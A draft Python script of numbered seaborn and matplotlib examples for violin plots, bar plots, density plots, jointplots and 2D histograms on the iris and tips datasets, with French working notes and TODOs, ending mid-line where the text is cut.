Horizontal violinplot\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Just switch x and y\r\np1=sns.violinplot( y=df[\"species\"], x=df[\"sepal_length\"] )\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#51_Horizontal_violinplot_Seaborn.png')\r\n\r\n#Note: we can use the 'orient' version as well (=\"h\" or =\"v\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #52 Custom Appearance\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Change line width\r\np1=sns.violinplot( x=df[\"species\"], y=df[\"sepal_length\"], linewidth=5)\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#52_Custom_violinplot_Appearance_Seaborn1.png')\r\n\r\n\r\n# Change width\r\np3=sns.violinplot( x=df[\"species\"], y=df[\"sepal_length\"], width=0.3)\r\n#sns.plt.show()\r\n\r\n# save \r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#52_Custom_violinplot_Appearance_Seaborn3.png')\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #53 Control color\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Use a color palette\r\np1=sns.violinplot( x=df[\"species\"], y=df[\"sepal_length\"], palette=\"Blues\")\r\n\r\n# You can use: \r\n# \t- Rcolorbrewer: Set1, Set2, Set3, Paired, \r\n#\t- Sequential color palette: Blues, BuGn_r ...\r\n# \t- other: husl\r\n# save \r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#53_Custom_violinplot_color_Seaborn1.png')\r\n\r\n# Uniform color\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\np2=sns.violinplot( x=df[\"species\"], y=df[\"sepal_length\"], color=\"skyblue\")\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#53_Custom_violinplot_color_Seaborn2.png')\r\n\r\n# Specific color for each group\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\nmy_pal = {\"versicolor\": \"g\", \"setosa\": \"b\", \"virginica\":\"m\"}\r\np3=sns.violinplot( x=df[\"species\"], y=df[\"sepal_length\"], palette=my_pal)\r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#53_Custom_violinplot_color_Seaborn3.png')\r\n\r\n# Highlight a group\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\nmy_pal = {species: \"r\" if species == \"versicolor\" else \"b\" for species in df.species.unique()}\r\np4=sns.violinplot( x=df[\"species\"], y=df[\"sepal_length\"], palette=my_pal)\r\nfig = p4.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#53_Custom_violinplot_color_Seaborn4.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #54 Grouped violinplot\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('tips')\r\n\r\n# Grouped violinplot\r\np1=sns.violinplot(x=\"day\", y=\"total_bill\", hue=\"smoker\", data=df, palette=\"Pastel1\")\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#54_Grouped_violinplot_Seaborn.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #55 control order of groups\r\n\r\n# --- SPECIFIC ORDER\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\np1=sns.violinplot(x='species', y='sepal_length', data=df, order=[ \"versicolor\", \"virginica\", \"setosa\"])\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#55_Specific_order_violinplot_Seaborn1.png')\r\n\r\n\r\n# --- ORDERED BY MEDIAN\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Find the order\r\nmy_order = df.groupby(by=[\"species\"])[\"sepal_length\"].median().iloc[::-1].index\r\n# Give it to the violinplot\r\np2=sns.violinplot(x='species', y='sepal_length', data=df, order=my_order)\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#55_Specific_order_violinplot_Seaborn2.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #57 violinplot with variable width\r\n width=0.1\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #58 Number of observation on violinplot\r\n\r\n\r\n# library & dataset\r\nimport seaborn as sns, numpy as np\r\ndf = sns.load_dataset(\"iris\")\r\nax = sns.violinplot(x=\"species\", y=\"sepal_length\", data=df)\r\n\r\n# Calculate number of obs per group & median to position labels\r\nmedians = df.groupby(['species'])['sepal_length'].median().values\r\nnobs = df['species'].value_counts().values\r\nnobs = [str(x) for x in nobs.tolist()]\r\nnobs = [\"n: \" + i for i in nobs]\r\n\r\n# Add it to the plot\r\npos = range(len(nobs))\r\nfor tick,label in zip(pos,ax.get_xticklabels()):\r\n    ax.text(pos[tick], medians[tick] + 0.03, nobs[tick], \r\n            horizontalalignment='center', size='x-small', color='w', weight='semibold')\r\n\r\nsns.plt.show()\r\n\r\nfig = ax.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#58_Number_of_obs_on_violinplot_seaborn.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #60 -> #70  SEABORN BARPLOT\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #60 Basic barplot\r\n\r\n# On a 3 cas de figure pour faire un barplot\r\n\r\n# ---- ONE VALUE PER GROUP\r\n\r\n# Import library \r\nimport seaborn as sns\r\nimport pandas as pd\r\n\r\n# Create a small dataset\r\ndf = pd.DataFrame()\r\ndf['group'] = ['A','B','C']\r\ndf['value'] =  [12, 4, 8]\r\n\r\n# barplot\r\np1=sns.barplot( data=df, x='group', y='value' )\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#60_Basic_barplot_Seaborn1.png')\r\n\r\n\r\n\r\n# ---- SEVERAL VALUES PER GROUP\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# barplot\r\np2=sns.barplot( data=df, x='species', y='sepal_length' )\r\n#sns.plt.show()\r\n\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#60_Basic_barplot_Seaborn2.png')\r\n\r\n\r\n# --- COUNT THE OCCURENCE OF EACH GROUP\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# barplot\r\np3=sns.countplot(data=df, x=\"species\")\r\n#sns.plt.show()\r\n\r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#60_Basic_barplot_Seaborn3.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #61 Custom apearance\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# barplot\r\np1=sns.barplot( data=df, x='species', y='sepal_length', linewidth=5, edgecolor='orange' )\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#61_custom_appearance_barplot_Seaborn1.png')\r\n\r\n# TODO\r\n- theme\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #62 Control colors\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Uniform color\r\np1=sns.barplot( data=df, x='species', y='sepal_length', facecolor=\"skyblue\")\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#62_control_barplot_color_Seaborn1.png')\r\n\r\n# Discrete palette\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\np2=sns.barplot( data=df, x='species', y='sepal_length', palette=\"Set2\" )\r\n#sns.plt.show()\r\n\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#62_control_barplot_color_Seaborn2.png')\r\n\r\n\r\n# Continuous palette\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\np3=sns.barplot( data=df, x='species', y='sepal_length', palette=\"Blues_d\")\r\n#sns.plt.show()\r\n\r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#62_control_barplot_color_Seaborn3.png')\r\n\r\n\r\n# Highlight a group\r\nTO DO --> face color ca donne juste du RGB..\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\np4=sns.barplot( data=df, x='species', y='sepal_length', facecolor=(0.2,0.4,0.7,0.2) )\r\n#sns.plt.show()\r\n\r\nfig = p4.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#62_control_barplot_color_Seaborn4.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #63 Horizontal barplot \r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Make default histogram\r\np1=sns.barplot( data=df, y='species', x='sepal_length' )\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#63_Horizontal_barplot_Seaborn1.png')\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #64 Grouped barplot \r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('tips')\r\n\r\n# plot\r\np1=sns.barplot(x=\"day\", y=\"total_bill\", hue=\"sex\", data=df)\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#64_grouped_barplot_Seaborn1.png')\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #65 Control order of groups \r\n\r\n@TODO : change data set to have more groups\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Order with manual order\r\np1=sns.barplot( data=df, x='species', y='sepal_length', order=[\"versicolor\", \"virginica\", \"setosa\"] )\r\nsns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#65_ordered_barplot_Seaborn1.png')\r\n\r\n# Order by decreasing means\r\nfrom numpy import median\r\np2=sns.barplot( data=df, x='species', y='sepal_length', estimator=-median )\r\nsns.plt.show()\r\n\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#65_ordered_barplot_Seaborn2.png')\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #66 Custom error bars\r\n\r\n# Import library and dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Add cap\r\np1=sns.barplot( data=df, x='species', y='sepal_length' , capsize=.2)\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#66_custom_error_bars_Seaborn1.png')\r\n\r\n# Which confidence interval do u want to show?\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\np2=sns.barplot( data=df, x='species', y='sepal_length' , capsize=.2,  ci=99)\r\n#sns.plt.show()\r\n\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#66_custom_error_bars_Seaborn2.png')\r\n\r\n# Change color\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\np3=sns.barplot( data=df, x='species', y='sepal_length' , capsize=.2,  errcolor=\"g\")\r\n#sns.plt.show()\r\n\r\nfig = p3.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#66_custom_error_bars_Seaborn3.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #70 -> #80  SEABORN DENSITY PLOT\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #70 Density Plot basic\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Make default density plot\r\np1=sns.kdeplot(df['sepal_width'])\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#70_Basic_density_plot_Seaborn.png')\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #71 Density Plot with shade\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Make default density plot\r\np1=sns.kdeplot(df['sepal_width'], shade=True)\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#71_Shaded_density_plot_Seaborn.png')\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #72 horizontal Density Plot with shade\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Make default density plot\r\np1=sns.kdeplot(df['sepal_width'], shade=True, vertical=True, color=\"skyblue\")\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#72_Horizontal_density_plot_Seaborn.png')\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #73 Control bandwidth of Density Plot\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Large bandwidth\r\np1=sns.kdeplot(df['sepal_width'], shade=True, bw=.5, color=\"olive\")\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#73_Control_bandwidth_densityplot_Seaborn1.png')\r\n\r\n\r\n# Narrower bandwidth\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\np2=sns.kdeplot(df['sepal_width'], shade=True, bw=.05, color=\"olive\")\r\n#sns.plt.show()\r\n\r\nfig = p2.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#73_Control_bandwidth_densityplot_Seaborn2.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #74 Density plot for several variables\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# plot of 2 variables\r\np1=sns.kdeplot(df['sepal_width'], shade=True, color=\"r\")\r\np1=sns.kdeplot(df['sepal_length'], shade=True, color=\"b\")\r\n#sns.plt.show()\r\n\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#74_density_plot_multi_variables.png')\r\n\r\n\r\n\r\n\r\n\r\nJOYPLOT TODO\r\nhttps://github.com/sbebo/joypy\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #80 -> #90  SEABORN AND MATPLOTLIB DENSITY 2D \r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n# Density plot. On fait comme un scatterplot, mais on regarde le nimbre de point a chaque endroit et \r\n# on color en fonction.\r\n# On utilise la fonction kde plot = la meme que pour les density plots\r\n\r\n# Il faut trouver un data set avec plus de point.\r\n# Le but de ce genre de graphique c'est d'\u00e9viter le overplotting.\r\n\r\n# Donc on gros on part d'un scatter plot avec overplot, et on regle le probleme avec plusieurs solutions:\r\n- Hexbin\r\n- 2D histogram\r\n- Contour plot = density plot 2D\r\n\r\n# Selon l'objectif j'utiliserai matplotlb ou seaborn.\r\n\r\n\r\n# Repo\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #80 Contour plot with seaborn\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# Basic 2D density plot\r\nsns.set_style(\"white\")\r\np1 = sns.kdeplot(df.sepal_width, df.sepal_length)\r\n#sns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#80_bivariate_kernel_density_plot1.png')\r\n\r\n# Custom it with the same argument as 1D density plot\r\np1 = sns.kdeplot(df.sepal_width, df.sepal_length, cmap=\"Reds\", shade=True, bw=.15)\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#80_bivariate_kernel_density_plot2.png')\r\n\r\n# Some features are characteristic of 2D: color palette and wether or not color the lowest range\r\np1 = sns.kdeplot(df.sepal_width, df.sepal_length, cmap=\"Blues\", shade=True, shade_lowest=True, )\r\nsns.plt.show()\r\nfig = p1.get_figure()\r\nfig.set_size_inches(4.8, 4.8)\r\nfig.savefig('PNG/#80_bivariate_kernel_density_plot3.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #81 VIDE\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #82 jointplot with seaborn\r\n\r\n# On peut aussi utiliser la fonction jointplot pour faire un density 2D graph et ajouter des ditributions au dessus:\r\n# https://seaborn.pydata.org/generated/seaborn.jointplot.html\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# jointplot\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Default Joinplot\r\n#sns.jointplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"])\r\n#plt.savefig('PNG/#82_seaborn_jointplot1.png')\r\n\r\n\r\n# Custom the inside plot:  options are: \u201cscatter\u201d | \u201creg\u201d | \u201cresid\u201d | \u201ckde\u201d | \u201chex\u201d \r\n#sns.jointplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], kind='scatter')\r\n#sns.jointplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], kind='hex')\r\n#plt.savefig('PNG/#82_seaborn_jointplot2.png')\r\n#sns.jointplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], kind='kde')\r\n#plt.savefig('PNG/#82_seaborn_jointplot3.png')\r\n\r\n# Then you can pass arguments to each type:\r\n#sns.jointplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], kind='scatter', s=200, color='m', edgecolor=\"skyblue\", linewidth=2)\r\n#plt.savefig('PNG/#82_seaborn_jointplot4.png')\r\n\r\n# Custom the color\r\n#sns.set(style=\"white\", color_codes=True)\r\n#sns.jointplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], kind='kde', color=\"skyblue\")\r\n#plt.savefig('PNG/#82_seaborn_jointplot5.png')\r\n\r\n# Custom marginal plots\r\n#sns.jointplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], kind='hex', marginal_kws=dict(bins=30, rug=True))\r\n#plt.savefig('PNG/#82_seaborn_jointplot6.png')\r\n\r\n\r\n# Space\r\n#sns.jointplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], kind='kde', color=\"grey\", space=0)\r\n#plt.savefig('PNG/#82_seaborn_jointplot7.png')\r\n#sns.jointplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], kind='kde', color=\"grey\", space=3)\r\n#plt.savefig('PNG/#82_seaborn_jointplot8.png')\r\n\r\n# Ratio\r\nsns.jointplot(x=df[\"sepal_length\"], y=df[\"sepal_width\"], kind='kde',ratio=1)\r\nplt.savefig('PNG/#82_seaborn_jointplot9.png')\r\n\r\n#\r\n\r\n\r\n\r\n\r\n#sns.plt.show()\r\n\r\n#sns.plt.show()\r\nplt.savefig('PNG/#82_jointplot1.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #83 Basic histogram 2D with matplotlib\r\n\r\n# We use the plt.hist2d function\r\n# hist2d(x, y, bins=10, range=None, normed=False, weights=None, cmin=None, cmax=None, hold=None, **kwargs)\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.normal(size=50000)\r\ny = x * 3 + np.random.normal(size=50000)\r\n\r\n\r\n# Make the plot\r\nplt.hist2d(x, y, bins=(50, 50), cmap=plt.cm.jet)\r\nplt.savefig('PNG/#83_2D_Histogram_matplotlib_1.png', dpi=96)\r\n#plt.show()\r\nplt.gca()\r\n\r\n# We can control the size of the bins:\r\nplt.hist2d(x, y, bins=(300, 300), cmap=plt.cm.jet)\r\nplt.savefig('PNG/#83_2D_Histogram_matplotlib_2.png', dpi=96)\r\nplt.gca()\r\n#plt.show()\r\n\r\nplt.hist2d(x, y, bins=(300, 30), cmap=plt.cm.jet)\r\nplt.savefig('PNG/#83_2D_Histogram_matplotlib_3.png', dpi=96)\r\nplt.gca()\r\n#plt.show()\r\n\r\n# Control the color\r\n# For palettes see: https://matplotlib.org/examples/color/colormaps_reference.html\r\nplt.hist2d(x, y, bins=(50, 50), cmap=plt.cm.Reds)\r\nplt.savefig('PNG/#83_2D_Histogram_matplotlib_4.png', dpi=96)\r\nplt.gca()\r\n#plt.show()\r\nplt.hist2d(x, y, bins=(50, 50), cmap=plt.cm.BuPu)\r\nplt.savefig('PNG/#83_2D_Histogram_matplotlib_5.png', dpi=96)\r\nplt.gca()\r\n#plt.show()\r\n\r\n\r\n# Add a colorbar if necessary\r\nplt.hist2d(x, y, bins=(50, 50), cmap=plt.cm.Greys)\r\nplt.colorbar()\r\nplt.savefig('PNG/#83_2D_Histogram_matplotlib_6.png', dpi=96)\r\n#plt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #84 Basic Hexbin with matplotlib\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as 